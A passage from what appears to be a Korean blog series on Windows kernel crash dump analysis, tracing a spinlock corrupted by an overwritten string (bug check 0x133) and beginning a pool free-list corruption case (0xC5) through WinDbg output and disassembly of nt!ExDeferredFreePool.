아하! "C:\WINDOWS\SYSTEM32\DNSAPI.DLL"이라는 파일 경로 문자열이 들어 있다. 아무래도 누군가 KSPIN_LOCK 구조체 위치에 이 문자열을 덮어 써버려 메모리를 손상시킨 것 같다. 정말 메모리 손상이 문제의 원인이 맞는지 알려면 스핀락을 획득하는 부분을 조금 더 분석할 필요가 있다. kv 명령으로 콜 스택을 다시 확인해보자.

kd> kv

# ChildEBP RetAddr Args to Child

00 d461b7d4 81b48d4e 00000133 00000001 00001e00 nt!KeBugCheckEx

01 d461b804 81a3b08c 85dc5120 00000002 00000000 nt! ?? ::FNODOBFM::`string'+0x9eae

02 d461b8d0 820336b7 81a3d64d 00000000 d461ba14 nt!KeClockInterruptNotify+0x36c (FPO: [Non-Fpo])

03 d461b8e0 82044cdb 00000002 000000d1 00000000 hal!HalpTimerClockInterruptCommon+0x3f (FPO: [0,0,4])

04 d461b8e0 81a3d64d 00000002 000000d1 00000000 hal!HalpTimerClockInterrupt+0x1f7 (FPO: [0,2] TrapFrame @ d461b978) ç 2) 트랩 프레임

05 d461b9f0 81ba85d0 c786f3b8 8833d980 83000100 nt!KxWaitForSpinLockAndAcquire+0x1d (FPO: [0,0,0]) ç 1) 락 대기 함수

06 d461ba14 81a54003 00000000 830001c8 883125c7 nt!KiAcquireSpinLockInstrumented+0x53 (FPO: [Non-Fpo])

07 d461ba20 883125c7 0032a582 d461bae0 8831f149 nt!KfAcquireSpinLock+0x33 (FPO: [0,0,0])

08 d461ba2c 8831f149 8a352a0a c786f3b8 00000000 SomeDrv+0x25c7

09 d461bae0 81ca719d c786f3b8 00000001 00000000 SomeDrv +0xf149

0a d461bbb8 81ca6f6a 00000000 00000000 042ffdc8 nt!IopXxxControlFile+0x21d (FPO: [Non-Fpo])

0b d461bbe4 81b36987 00000300 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo])

0c d461bbe4 77ce4d50 00000300 00000000 00000000 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ d461bc14)

0d 042ffde8 00000000 00000000 00000000 00000000 0x77ce4d50

1)번 nt!KxWaitForSpinLockAndAcquire함수는 스핀락을 획득하기 위해 시도하는 함수다. 2)번에는 트랩 프레임(TrapFrame)이 확인된다. 트랩 프레임이 있다는 것은 직전 1)번 함수 동작에 문제가 있어 인터럽트가 발생했다는 의미다. .trap 명령을 사용해 문제 발생 당시 상황으로 컨텍스트를 복원해보자.

kd> .trap d461b978

ErrCode = 00000000

eax=00490057 ebx=83000100 ecx=8833d980 edx=00000000 esi=520f94a9 edi=8833d980

eip=81a3d64d esp=d461b9ec ebp=d461ba14 iopl=0 nv up ei pl nz na pe nc

cs=0008 ss=0010 ds=8c3b es=01c8 fs=6b68 gs=ba20 efl=00000206

nt!KxWaitForSpinLockAndAcquire+0x1d:

81a3d64d f390 pause

edi 레지스터에 설정된 8833d980 값을 기억해두자(앞서 확인한 KSPIN_LOCK 구조체 주소다). esi 레지스터 값도 봐두면 좋다. 문제가 발생했던1)번 시점의 동작을 확인하기 위해 nt!KxWaitForSpinLockAndAcquire 함수를 처음부터 살펴봐야한다. 함수가 짧으니 너무 걱정하지 말자.

kd> u nt!KxWaitForSpinLockAndAcquire L14

nt!KxWaitForSpinLockAndAcquire:

81a3d630 8bff mov edi,edi

81a3d632 56 push esi

81a3d633 57 push edi

81a3d634 8bf9 mov edi,ecx

81a3d636 33f6 xor esi,esi ç 1) esi = 0

81a3d638 eb06 jmp nt!KxWaitForSpinLockAndAcquire+0x10 (81a3d640)

81a3d63a 8d9b00000000 lea ebx,[ebx]

81a3d640 46 inc esi ç 2) esi + 1(루프 시작)

81a3d641 853530e0c381 test dword ptr [nt!HvlLongSpinCountMask (81c3e030)],esi

81a3d647 0f84a2bc1000 je nt! ?? ::FNODOBFM::`string'+0xa44f (81b492ef)

81a3d64d f390 pause ç 3) 인터럽트 발생 위치(트랩 프레임)

81a3d64f 8b07 mov eax,dword ptr [edi] ç 4) edi 값을 eax에 설정

81a3d651 85c0 test eax,eax ç 5) eax 값이 0인지 확인

81a3d653 75eb jne nt!KxWaitForSpinLockAndAcquire+0x10 (81a3d640) ç 6) 0이 아니면 2)번 루프 시작 위치로 이동

81a3d655 f00fba2f00 lock bts dword ptr [edi],0

81a3d65a 72e4 jb nt!KxWaitForSpinLockAndAcquire+0x10 (81a3d640)

81a3d65c 5f pop edi

81a3d65d 8bc6 mov eax,esi

81a3d65f 5e pop esi

81a3d660 c3 ret

중요 위치마다 주석이 있어 함수 동작을 이해하는 데 무리가 없을 것이다. 1)번부터 살펴보자. 우선 esi 레지스터는 단순한 카운터 변수다. 2)번을 보면 루프 진입시마다 1씩 증가한다. 4)번에는 edi 값을 eax에 설정하고 5)번에서 eax가 0인지 확인한다. 참고로 edi는 KSPIN_LOCK 구조체 변수의 주소였다.

eax에 설정한 edi 값을 확인해보자.

kd> dd edi L1

8833d980 00490057

edi에 00490057 값이 있으므로 eax에도 00490057 값이 설정된다(앞서 00490057 값은 문자열의 일부였다). 6)번에서는 eax 값이 0이 아니므로 루프 시작 위치인 2)번으로 다시 이동한다. eax는 이미 문자열로 덮어 써져 0이 될 수 없으므로 계속 이 루틴이 반복된다. 즉 무한 루프 상태다. 과연 이 루프는 얼마나 수행됐을까? 카운터 변수인 esi 레지스터 값을 확인해보자.

kd> r esi

Last set context:

esi=520f94a9

맙소사! 0x520f94a9(1,376,752,809)라는 엄청나게 큰 값이 설정되어 있다. 무려 13억번이나 루프가 돌고 있었던 것이다! 그리고는 결국 제한 시간이 다 되어 3)번 위치의 pause 명령에서 0x133이 발생했다. 이제야 모든 것이 명확해졌다. 누군가 스핀락 변수를 문자열로 손상시켜 스핀락 획득 함수 내부에서 무한 루프에 빠져 버린 것이 원인이다(물론 대부분의 경우 누군가는 스핀락 사용 중인 SomeDrv 자신이다).

스핀락을 획득하려고 인터럽트 레벨을 상승시키고 무한 루프에 빠졌으니 DPC_WATCHDOG_VIOLATION(0x133) 버그체크가 발생하는 것은 어찌보면 당연하다.

여기서는 메모리 손상에 의한 0x133을 소개했지만 훨씬 까다로운 경우도 있다. 바로 스핀락을 획득하고 수행한 작업들 하나하나가 조금씩 성능 지연을 일으켜 누적에 의해 제한 시간을 넘기는 경우다. 단일 모듈이 아닌 다수의 모듈에서 지연이 발생하는 경우라면 더욱 골치아프다. 이 경우 별도의 성능 측정을 통해 모듈별로 매 작업마다 성능 지연이 발생하는 구간을 찾아내야해서 굉장히 어렵다. 이런 이유로 스핀락을 획득하고 시간 걸리는 작업은 아예 하지 않는 것이 정신 건강에 이롭다. 주로 다량의 엔트리가 삽입된 리스트를 검색할 때 성능 지연이 발생하는데 해시 테이블 등으로 자료 구조를 변경하거나 리스트에 삽입되는 최대 개수를 제한하는 등의 수정이 필요할 수 있다. 물론 가장 좋은 것은 개발 초기부터 이런 문제를 예상하며 성능을 고려한 설계를 하는 것이다.

앞으로 이 오류 코드가 발생한다면 이것 하나만 기억하자. “스핀락과 연관된 코드를 살펴보라!”

[0xC5] 해제 리스트 손상

Paul.. — Thu, 19 Jul 2018 22:41:11 +0900

이번 덤프는 또 다른 BugCheck 0xC5: DRIVER_CORRUPTED_EXPOOL이다.

역시나 풀 메모리가 손상됐을 경우 주로 발생한다. 이번에는 nt 커널이 전역으로 관리하는 풀 해제 리스트가 손상되어 메모리 해제 중 문제가 발생했다.

미리 밝히지만 메모리 손상 방법이 악랄하여 일반적으로는 분석이 거의 불가능한 유형의 덤프다.

그럼에도 기존과는 다른 접근법으로 답을 찾아 가는 방법을 소개하려고 한다.

kd> !analyze -v

*******************************************************************************

* *

* Bugcheck Analysis *

* *

*******************************************************************************

DRIVER_CORRUPTED_EXPOOL (c5)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is

caused by drivers that have corrupted the system pool. Run the driver

verifier against any new (or suspect) drivers, and if that doesn't turn up

the culprit, then use gflags to enable special pool.

Arguments:

Arg1: 11223344, memory referenced

Arg2: 00000002, IRQL

Arg3: 00000000, value 0 = read operation, 1 = write operation

Arg4: 82b5f795, address which referenced memory

Debugging Details:

------------------

DUMP_CLASS: 1

DUMP_QUALIFIER: 401

BUILD_VERSION_STRING: 7601.17514.x86fre.win7sp1_rtm.101119-1850

SYSTEM_MANUFACTURER: VMware, Inc.

VIRTUAL_MACHINE: VMware

SYSTEM_PRODUCT_NAME: VMware Virtual Platform

SYSTEM_VERSION: None

BIOS_VENDOR: Phoenix Technologies LTD

BIOS_VERSION: 6.00

BIOS_DATE: 07/31/2013

BASEBOARD_MANUFACTURER: Intel Corporation

BASEBOARD_PRODUCT: 440BX Desktop Reference Platform

BASEBOARD_VERSION: None

DUMP_TYPE: 1

BUGCHECK_P1: 11223344

BUGCHECK_P2: 2

BUGCHECK_P3: 0

BUGCHECK_P4: ffffffff82b5f795

BUGCHECK_STR: 0xC5_2

CURRENT_IRQL: 2

FAULTING_IP:

nt!ExDeferredFreePool+135

82b5f795 8b10 mov edx,dword ptr [eax]

CPU_COUNT: 4

CPU_MHZ: e07

CPU_VENDOR: GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3c

CPU_STEPPING: 3

CPU_MICROCODE: 6,3c,3,0 (F,M,S,R) SIG: 19'00000000 (cache) 19'00000000 (init)

DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT

PROCESS_NAME: System

ANALYSIS_SESSION_HOST: PAUL-PC

ANALYSIS_SESSION_TIME: 12-01-2017 17:48:31.0130

ANALYSIS_VERSION: 10.0.10575.567 amd64fre

TRAP_FRAME: 82b65ab4 -- (.trap 0xffffffff82b65ab4)

ErrCode = 00000000

eax=11223344 ebx=000001ff ecx=000001ff edx=82b74d60 esi=8649a158 edi=82b74940

eip=82b5f795 esp=82b65b28 ebp=82b65b60 iopl=0 nv up ei pl nz na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206

nt!ExDeferredFreePool+0x135:

82b5f795 8b10 mov edx,dword ptr [eax]

ds:0023:11223344=????????

Resetting default scope

LAST_CONTROL_TRANSFER: from 82b5f795 to 82a7e5cb

STACK_TEXT:

82b65ab4 82b5f795 badb0d00 82b74d60 82b65b08 nt!KiTrap0E+0x2cf

82b65b60 82b5f35f 82b74940 00000000 82b5eaba nt!ExDeferredFreePool+0x135

82b65bc8 8cb1294d 8458fd10 70627375 82a780e8 nt!ExFreePoolWithTag+0x8a4

82b65c00 8cb13178 8655c518 8544dc58 8643ee30 USBPORT!USBPORT_Core_iCompleteDoneTransfer+0x7c5

82b65c2c 8cb169af 8555a028 8555a0f0 8555aa98 USBPORT!USBPORT_Core_iIrpCsqCompleteDoneTransfer+0x33b

82b65c54 8cb10d18 8555a028 8555aa98 8555a002 USBPORT!USBPORT_Core_UsbIocDpc_Worker+0xbc

82b65c78 82ab51b5 8555aaa4 8555a002 00000000 USBPORT!USBPORT_Xdpc_Worker+0x173

82b65cd4 82ab5018 82b68d20 82b72380 00000000 nt!KiExecuteAllDpcs+0xf9

82b65d20 82ab4e38 00000000 0000000e 00000000 nt!KiRetireDpcList+0xd5

82b65d24 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x38

STACK_COMMAND: kb

THREAD_SHA1_HASH_MOD_FUNC: a81891ed81b7e7e7cf7e48a31a162387a34eb470

THREAD_SHA1_HASH_MOD_FUNC_OFFSET: e3429ed576cacf32e33aea2731862fb99fe1a8e9

THREAD_SHA1_HASH_MOD: d1ea541659404c79a51ef0cc026f2229287008dc

FOLLOWUP_IP:

nt!ExDeferredFreePool+135

82b5f795 8b10 mov edx,dword ptr [eax]

FAULT_INSTR_CODE: 44ff108b

SYMBOL_STACK_INDEX: 1

SYMBOL_NAME: nt!ExDeferredFreePool+135

FOLLOWUP_NAME: Pool_corruption

IMAGE_NAME: Pool_Corruption

DEBUG_FLR_IMAGE_TIMESTAMP: 0

IMAGE_VERSION: 6.1.7601.17514

MODULE_NAME: Pool_Corruption

FAILURE_BUCKET_ID: 0xC5_2_nt!ExDeferredFreePool+135

BUCKET_ID: 0xC5_2_nt!ExDeferredFreePool+135

PRIMARY_PROBLEM_CLASS: 0xC5_2_nt!ExDeferredFreePool+135

TARGET_TIME: 2017-11-30T09:55:42.000Z

OSBUILD: 7601

OSSERVICEPACK: 1000

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK: 272

PRODUCT_TYPE: 1

OSPLATFORM_TYPE: x86

OSNAME: Windows 7

OSEDITION: Windows 7 WinNt (Service Pack 1) TerminalServer SingleUserTS

OS_LOCALE:

USER_LCID: 0

OSBUILD_TIMESTAMP: 2010-11-20 17:42:49

BUILDDATESTAMP_STR: 101119-1850

BUILDLAB_STR: win7sp1_rtm

BUILDOSVER_STR: 6.1.7601.17514.x86fre.win7sp1_rtm.101119-1850

ANALYSIS_SESSION_ELAPSED_TIME: 756

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:0xc5_2_nt!exdeferredfreepool+135

FAILURE_ID_HASH: {8f7dc44e-d604-b619-9e06-69593c07a8bc}

Followup: Pool_corruption

---------

풀 메모리 해제 중 메모리 손상이 감지되어 문제가 발생했다. BugCode 의 파라미터를 살펴보자.

Arguments:

Arg1: 11223344, memory referenced

Arg2: 00000002, IRQL

Arg3: 00000000, value 0 = read operation, 1 = write operation

Arg4: 82b5f795, address which referenced memory

첫 번째 파라미터를 보면 "11223344" 주소에 접근하다 문제가 발생했다.

"11223344"는 그냥 봐도 이상한 주소 값이기 때문에 "누가 또 메모리를 깼네"라고 생각하면 속 편하다.

메모리 손상 이슈는 많이 분석해 본 나도 결말이 어떻게 될지 예측할 수 없다.

덤프 상에 분석을 위한 최소한의 정보도 남아 있지 않으면 분석이 불가능하기 때문이다.

그러니, 이쯤에서 한숨을 크게 한 번 쉬어주자.

준비가 됐으면 kv 명령어로 파라미터를 포함한 콜 스택부터 살펴보자.

kd> kv

# ChildEBP RetAddr Args to Child

00 82b65ab4 82b5f795 badb0d00 82b74d60 82b65b08 nt!KiTrap0E+0x2cf (FPO: [0,0]

TrapFrame @ 82b65ab4)

01 82b65b60 82b5f35f 82b74940 00000000 82b5eaba nt!ExDeferredFreePool+0x135

02 82b65bc8 8cb1294d 8458fd10 70627375 82a780e8 nt!ExFreePoolWithTag+0x8a4

03 82b65c00 8cb13178 8655c518 8544dc58 8643ee30 USBPORT!USBPORT_Core_iCompleteDoneTransfer+0x7c5 (FPO: [Non-Fpo])

04 82b65c2c 8cb169af 8555a028 8555a0f0 8555aa98 USBPORT!USBPORT_Core_iIrpCsqCompleteDoneTransfer+0x33b (FPO: [Non-Fpo])

05 82b65c54 8cb10d18 8555a028 8555aa98 8555a002 USBPORT!USBPORT_Core_UsbIocDpc_Worker+0xbc (FPO: [Non-Fpo])

06 82b65c78 82ab51b5 8555aaa4 8555a002 00000000 USBPORT!USBPORT_Xdpc_Worker+0x173 (FPO: [Non-Fpo])

07 82b65cd4 82ab5018 82b68d20 82b72380 00000000 nt!KiExecuteAllDpcs+0xf9

08 82b65d20 82ab4e38 00000000 0000000e 00000000 nt!KiRetireDpcList+0xd5

09 82b65d24 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x38 (FPO:

[0,0,0])

콜 스택을 보면 nt 커널의 ExDeferredFreePool 함수를 통해 풀 메모리를 해제하는 도중 해제 리스트 손상이 감지되어 0xC5 오류 코드가 발생했다.

참고로 ExDeferredFreePool 함수는 공개되지 않은 커널 내부 함수로 외부에서 사용 가능한 ExFreePoolWithTag 함수를 통해 호출된다.

ExFreePoolWithTag 함수 원형은 다음과 같다.

VOID ExFreePoolWithTag(

_In_ PVOID P,

_In_ ULONG Tag

);

첫 번째 파라미터가 해제하려는 풀 메모리의 포인터인데, 콜 스택에 보이는 ExFreePoolWithTag의 첫 번째 파라미터인 8458fd10 을 해제하는 과정에서 문제가 발생한 것으로 추측해볼 수 있다.

ExDeferredFreePool 함수는 이름 그대로 바로 해제가 어려울 경우 나중에 해제하기 위해 지연 해제 리스트에 넣는 작업을 처리하는 함수다.

해제를 요청한 풀이 문제가 없는지는 보통 해제 함수 앞 부분에서 검사한다. 따라서 여기서 문제가 발생하는 경우 해제를 요청한 풀 자체보다는 지연 해제 관련 작업 중에 문제가 발생하는 경우가 많다.

이제 본격적으로 문제가 발생한 부분을 살펴보자.

먼저 문제가 발생한 지점으로 trap 을 맞춰보자.

kd> .trap 0xffffffff82b65ab4

ErrCode = 00000000

eax=11223344 ebx=000001ff ecx=000001ff edx=82b74d60 esi=8649a158 edi=82b74940

eip=82b5f795 esp=82b65b28 ebp=82b65b60 iopl=0 nv up ei pl nz na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206

nt!ExDeferredFreePool+0x135:

82b5f795 8b10 mov edx,dword ptr [eax]

ds:0023:11223344=????????

nt!ExDeferredFreePool+0x135 위치에서 mov edx, dword ptr [eax] 명령을 수행하다 eax 가 11223344 로 접근할 수 없는 주소여서 문제가 발생했다고 보여준다.

앞서 다른 메모리 손상 덤프 분석을 통해 언급했듯이 메모리 손상 유형은 크게 2가지다.

1. 앞 쪽 메모리 영역에서 다음 메모리 영역을 침범한 경우

2. 해당 위치의 메모리만 손상시킨 경우

주로 첫 번째 유형인 경우가 많으며 대체로 분석이 가능하다. 하지만 두 번째 유형인 경우 분석이 거의 불가능하다.

메모리가 손상된 원인을 분석하기 위한 일반적인 방법은 손상된 값의 위치를 찾아 그 앞 부분을 살펴보는 것이다.

왜냐하면 첫 번째 유형의 경우 다음과 같은 과정으로 메모리가 손상되기 때문이다.

1. 정상 상태

구분

주소

값

모듈 A의 풀 1

0xa0000000

0x11223344

... ...

모듈 B의 풀 2

0xa0000100

0xb0000000

... ...

2. 풀 1에서 풀 2 영역 침범

구분

주소

값

모듈 A의 풀 1

0xa0000000

0x11223344

... ...

모듈 B의 풀 2

0xa0000100

0x11223344

... ...

1번은 서로 다른 모듈 A, B에서 각각 풀 메모리 1, 2 를 할당 받아 자신이 필요한 값을 설정한 상태를 나타낸다.

2번은 모듈 A에서 자신이 사용하는 풀 1 영역을 넘어 실수로 모듈 B가 사용하는 풀 2 영역의 메모리까지 0x11223344 값으로 덮어 쓴 상황이다.

이런 상황에서 모듈 B가 자신의 풀 2의 주소인 0xa0000100 에서 값을 읽어 참조하는 동작을 수행한다고 해보자.

모듈 B는 당연히 원래 설정해 놓은 유효한 주소값인 0xb0000000을 잘 가져오리라 기대하겠지만, 0xb0000000 값은 모듈 A에 의해 이미 0x11223344 값으로 변경되어 손상된 상태다.

모듈 B는 유효하지 않은 주소값인 0x11223344을 참조하다 문제를 발생시킨다.

이 과정이 이해가 된다면 자연스럽게 문제가 된 "0x11223344" 값을 담고 있는 풀 2 영역의 주소인 0xa0000100을 찾아 그 앞 쪽 풀이 어떤 모듈의 것인지 찾아 내는 것이 문제 해결의 열쇠임을 알 수 있을 것이다.

물론, 이번 덤프에서도 eax 레지스터에 담긴 "0x11223344" 값이 어디서부터 왔는지 찾아야 한다.

언제나처럼 문제가 발생한 함수인 ExDeferredFreePool 부터 차근히 살펴보자.

kd> u nt!ExDeferredFreePool L5d

nt!ExDeferredFreePool:

82b5f660 8bff mov edi,edi

82b5f662 55 push ebp

82b5f663 8bec mov ebp,esp

82b5f665 83e4f8 and esp,0FFFFFFF8h

82b5f668 83ec2c sub esp,2Ch

82b5f66b 53 push ebx

82b5f66c 56 push esi

82b5f66d 57 push edi

82b5f66e 8b7d08 mov edi,dword ptr [ebp+8]

82b5f671 8d4f4c lea ecx,[edi+4Ch]

82b5f674 33c0 xor eax,eax

82b5f676 8bd1 mov edx,ecx

82b5f678 40 inc eax

82b5f679 f00fc102 lock xadd dword ptr [edx],eax

82b5f67d 40 inc eax

82b5f67e 83f801 cmp eax,1

82b5f681 7412 je nt!ExDeferredFreePool+0x35 (82b5f695)

82b5f683 837d0c00 cmp dword ptr [ebp+0Ch],0

82b5f687 750c jne nt!ExDeferredFreePool+0x35 (82b5f695)

82b5f689 83c8ff or eax,0FFFFFFFFh

82b5f68c f00fc101 lock xadd dword ptr [ecx],eax

82b5f690 e9c4030000 jmp nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f695 33c0 xor eax,eax

82b5f697 f60701 test byte ptr [edi],1

82b5f69a c644243400 mov byte ptr [esp+34h],0

82b5f69f 8944241c mov dword ptr [esp+1Ch],eax

82b5f6a3 89442414 mov dword ptr [esp+14h],eax

82b5f6a7 89442418 mov dword ptr [esp+18h],eax

82b5f6ab 89442424 mov dword ptr [esp+24h],eax

82b5f6af 8d7704 lea esi,[edi+4]

82b5f6b2 750e jne nt!ExDeferredFreePool+0x62 (82b5f6c2)

82b5f6b4 8d54242c lea edx,[esp+2Ch]

82b5f6b8 8bce mov ecx,esi

82b5f6ba ff1534e1a382 call dword ptr [nt!_imp_KeAcquireInStackQueuedSpinLock (82a3e134)]

82b5f6c0 eb2d jmp nt!ExDeferredFreePool+0x8f (82b5f6ef)

82b5f6c2 648b1d24010000 mov ebx,dword ptr fs:[124h]

82b5f6c9 66ff8b86000000 dec word ptr [ebx+86h]

82b5f6d0 8bc6 mov eax,esi

82b5f6d2 f00fba3000 lock btr dword ptr [eax],0

82b5f6d7 7207 jb nt!ExDeferredFreePool+0x80 (82b5f6e0)

82b5f6d9 8bce mov ecx,esi

82b5f6db e8690df7ff call nt!KiAcquireGuardedMutex (82ad0449)

82b5f6e0 64a124010000 mov eax,dword ptr fs:[00000124h]

82b5f6e6 895e04 mov dword ptr [esi+4],ebx

82b5f6e9 fe808b020000 inc byte ptr [eax+28Bh]

82b5f6ef 8d9700010000 lea edx,[edi+100h]

82b5f6f5 8b02 mov eax,dword ptr [edx]

82b5f6f7 85c0 test eax,eax

82b5f6f9 0f858b000000 jne nt!ExDeferredFreePool+0x12a (82b5f78a)

82b5f6ff 8d474c lea eax,[edi+4Ch]

82b5f702 83c9ff or ecx,0FFFFFFFFh

82b5f705 f00fc108 lock xadd dword ptr [eax],ecx

82b5f709 f60701 test byte ptr [edi],1

82b5f70c 750f jne nt!ExDeferredFreePool+0xbd (82b5f71d)

82b5f70e 8d4c242c lea ecx,[esp+2Ch]

82b5f712 ff1530e1a382 call dword ptr [nt!_imp_KeReleaseInStackQueuedSpinLock (82a3e130)]

82b5f718 e93c030000 jmp nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f71d 64a124010000 mov eax,dword ptr fs:[00000124h]

82b5f723 fe888b020000 dec byte ptr [eax+28Bh]

82b5f729 83660400 and dword ptr [esi+4],0

82b5f72d 33c9 xor ecx,ecx

82b5f72f 41 inc ecx

82b5f730 8bc6 mov eax,esi

82b5f732 f00fc108 lock xadd dword ptr [eax],ecx

82b5f736 85c9 test ecx,ecx

82b5f738 741f je nt!ExDeferredFreePool+0xf9 (82b5f759)

82b5f73a f6c102 test cl,2

82b5f73d 751a jne nt!ExDeferredFreePool+0xf9 (82b5f759)

82b5f73f 41 inc ecx

82b5f740 8d41fe lea eax,[ecx-2]

82b5f743 8bd0 mov edx,eax

82b5f745 8bfe mov edi,esi

82b5f747 8bc1 mov eax,ecx

82b5f749 f00fb117 lock cmpxchg dword ptr [edi],edx

82b5f74d 3bc1 cmp eax,ecx

82b5f74f 7508 jne nt!ExDeferredFreePool+0xf9 (82b5f759)

82b5f751 8d460c lea eax,[esi+0Ch]

82b5f754 e806faf0ff call nt!KeSignalGateBoostPriority (82a6f15f)

82b5f759 648b0d24010000 mov ecx,dword ptr fs:[124h]

82b5f760 8d8186000000 lea eax,[ecx+86h]

82b5f766 66ff00 inc word ptr [eax]

82b5f769 0fb700 movzx eax,word ptr [eax]

82b5f76c 6685c0 test ax,ax

82b5f76f 0f85e4020000 jne nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f775 8d4140 lea eax,[ecx+40h]

82b5f778 3900 cmp dword ptr [eax],eax

82b5f77a 0f84d9020000 je nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f780 e8145df0ff call nt!KiCheckForKernelApcDelivery (82a65499)

82b5f785 e9cf020000 jmp nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f78a b9ff010000 mov ecx,1FFh

82b5f78f 8b02 mov eax,dword ptr [edx] 1) edx 값을 eax에 설정

82b5f791 89442420 mov dword ptr [esp+20h],eax 2) eax를 esp+20에 저장

82b5f795 8b10 mov edx,dword ptr [eax] 3) eax가 11223344 여서 문제 발생

1)번부터 순서대로 살펴보면, 우선 1)번에서 edx 값을 eax에 설정했고, 2)번에서 설정한 eax를 esp+20 에 저장한 부분이 나온다.

3)번에서 eax가 11223344 였으니 edx 의 값과 esp+20 에 11223344 값이 설정되어 있어야 앞뒤가 맞다.

예상이 맞는지 한 번 확인해보자.

kd> dd edx L1

82b74d60 8448ad20

kd> dd esp+20 L1

82b65b48 8457ec68

말도 안되는 값이 확인된다. edx에 설정된 값은 8448ad20이다. 심지어 esp+20에 설정된 값은 84d7ec68이다. 찾고 있는 11223344 값은 커녕 edx와 esp+20끼리도 서로 다르다.

이런 경우 실행 흐름을 잘못 잡고 있을 가능성이 크다.

아무래도 지금 보는 곳보다 더 아래 부분에서 문제가 발생한 3)번 82b5f795 주소로 바로 이동하는 코드가 있을 가능성이 의심된다.

ExDeferredFreePool 함수를 아래 부분까지 좀 더 살펴보자.

kd> u nt!ExDeferredFreePool Le6

nt!ExDeferredFreePool:

82b5f660 8bff mov edi,edi

82b5f662 55 push ebp

82b5f663 8bec mov ebp,esp

82b5f665 83e4f8 and esp,0FFFFFFF8h

82b5f668 83ec2c sub esp,2Ch

82b5f66b 53 push ebx

82b5f66c 56 push esi

82b5f66d 57 push edi

82b5f66e 8b7d08 mov edi,dword ptr [ebp+8]

82b5f671 8d4f4c lea ecx,[edi+4Ch]

82b5f674 33c0 xor eax,eax

82b5f676 8bd1 mov edx,ecx

82b5f678 40 inc eax

82b5f679 f00fc102 lock xadd dword ptr [edx],eax

82b5f67d 40 inc eax

82b5f67e 83f801 cmp eax,1

82b5f681 7412 je nt!ExDeferredFreePool+0x35 (82b5f695)

82b5f683 837d0c00 cmp dword ptr [ebp+0Ch],0

82b5f687 750c jne nt!ExDeferredFreePool+0x35 (82b5f695)

82b5f689 83c8ff or eax,0FFFFFFFFh

82b5f68c f00fc101 lock xadd dword ptr [ecx],eax

82b5f690 e9c4030000 jmp nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f695 33c0 xor eax,eax

82b5f697 f60701 test byte ptr [edi],1

82b5f69a c644243400 mov byte ptr [esp+34h],0

82b5f69f 8944241c mov dword ptr [esp+1Ch],eax

82b5f6a3 89442414 mov dword ptr [esp+14h],eax

82b5f6a7 89442418 mov dword ptr [esp+18h],eax

82b5f6ab 89442424 mov dword ptr [esp+24h],eax

82b5f6af 8d7704 lea esi,[edi+4]

82b5f6b2 750e jne nt!ExDeferredFreePool+0x62 (82b5f6c2)

82b5f6b4 8d54242c lea edx,[esp+2Ch]

82b5f6b8 8bce mov ecx,esi

82b5f6ba ff1534e1a382 call dword ptr [nt!_imp_KeAcquireInStackQueuedSpinLock (82a3e134)]

82b5f6c0 eb2d jmp nt!ExDeferredFreePool+0x8f (82b5f6ef)

82b5f6c2 648b1d24010000 mov ebx,dword ptr fs:[124h]

82b5f6c9 66ff8b86000000 dec word ptr [ebx+86h]

82b5f6d0 8bc6 mov eax,esi

82b5f6d2 f00fba3000 lock btr dword ptr [eax],0

82b5f6d7 7207 jb nt!ExDeferredFreePool+0x80 (82b5f6e0)

82b5f6d9 8bce mov ecx,esi

82b5f6db e8690df7ff call nt!KiAcquireGuardedMutex (82ad0449)

82b5f6e0 64a124010000 mov eax,dword ptr fs:[00000124h]

82b5f6e6 895e04 mov dword ptr [esi+4],ebx

82b5f6e9 fe808b020000 inc byte ptr [eax+28Bh]

82b5f6ef 8d9700010000 lea edx,[edi+100h] // 1) _POOL_DESCRIPTOR.PendingFrees 주소를 edx 에 저장

82b5f6f5 8b02 mov eax,dword ptr [edx]

82b5f6f7 85c0 test eax,eax

82b5f6f9 0f858b000000 jne nt!ExDeferredFreePool+0x12a (82b5f78a) // 2) 82b5f78a 로 이동

82b5f6ff 8d474c lea eax,[edi+4Ch]

82b5f702 83c9ff or ecx,0FFFFFFFFh

82b5f705 f00fc108 lock xadd dword ptr [eax],ecx

82b5f709 f60701 test byte ptr [edi],1

82b5f70c 750f jne nt!ExDeferredFreePool+0xbd (82b5f71d)

82b5f70e 8d4c242c lea ecx,[esp+2Ch]

82b5f712 ff1530e1a382 call dword ptr [nt!_imp_KeReleaseInStackQueuedSpinLock (82a3e130)]

82b5f718 e93c030000 jmp nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f71d 64a124010000 mov eax,dword ptr fs:[00000124h]

82b5f723 fe888b020000 dec byte ptr [eax+28Bh]

82b5f729 83660400 and dword ptr [esi+4],0

82b5f72d 33c9 xor ecx,ecx

82b5f72f 41 inc ecx

82b5f730 8bc6 mov eax,esi

82b5f732 f00fc108 lock xadd dword ptr [eax],ecx

82b5f736 85c9 test ecx,ecx

82b5f738 741f je nt!ExDeferredFreePool+0xf9 (82b5f759)

82b5f73a f6c102 test cl,2

82b5f73d 751a jne nt!ExDeferredFreePool+0xf9 (82b5f759)

82b5f73f 41 inc ecx

82b5f740 8d41fe lea eax,[ecx-2]

82b5f743 8bd0 mov edx,eax

82b5f745 8bfe mov edi,esi

82b5f747 8bc1 mov eax,ecx

82b5f749 f00fb117 lock cmpxchg dword ptr [edi],edx

82b5f74d 3bc1 cmp eax,ecx

82b5f74f 7508 jne nt!ExDeferredFreePool+0xf9 (82b5f759)

82b5f751 8d460c lea eax,[esi+0Ch]

